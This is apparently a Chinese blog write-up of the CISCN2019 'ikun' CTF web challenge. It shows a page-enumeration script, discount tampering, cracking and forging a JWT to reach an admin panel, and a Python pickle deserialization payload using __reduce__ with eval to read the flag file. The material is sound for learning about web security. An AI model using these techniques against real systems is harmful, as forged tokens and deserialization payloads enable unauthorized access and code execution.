NO.3-2 [CISCN2019 华北赛区 Day1 Web2]ikun

最新推荐文章于 2023-09-05 20:38:36 发布

nigo134

最新推荐文章于 2023-09-05 20:38:36 发布

阅读量177

点赞数

分类专栏： BUUCTF JWT pythpn安全

原文链接：https://blog.csdn.net/weixin_43345082/article/details/97817909

版权

JWT破解 Python反序列化权限获取 flag 网络安全

关键词由CSDN通过智能技术生成

BUUCTF 同时被 3 个专栏收录

60 篇文章 0 订阅

订阅专栏

pythpn安全

4 篇文章 0 订阅

订阅专栏

JWT

1 篇文章 0 订阅

订阅专栏

当时没做出来，大佬复现了环境就做一波
题目
在这里插入图片描述
第一步提示我们要找到lv6
写个脚本找一下

import requests
url="http://web44.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

跑的有点慢
找到了lv6发现买不起
在这里插入图片描述
应该是要抓包修改
改折扣

然后拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber

但需要权限，这里涉及JWT破解了解JWT

先将JWT base64解码一下

在这里插入图片描述
看到username是我自己的登陆名5，这里需要改为admin
后边解码不出来因为经过了sha256，需要破解key
找了一个工具破的破解工具

然后伪造我们的jwt生成jwt的网站

在这里插入图片描述
好的进来了

在这里插入图片描述
在页面源码里看到了下载的路径

下载

在这里插入图片描述
打开之后找到了一个python反序列化的地方，在 admin.py

太菜了payload不会生成看的大佬的
用py2跑
py3序列化pickle.dumps之后的结果和py2的不一样
怀疑是库的问题

这里用了Pickle协议的方法__reduce__(self)

在这里插入图片描述
这是大佬讲python魔术方法的博客

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这样就可以打印flag.txt里的内容了
将生成的payload传给become
在这里插入图片描述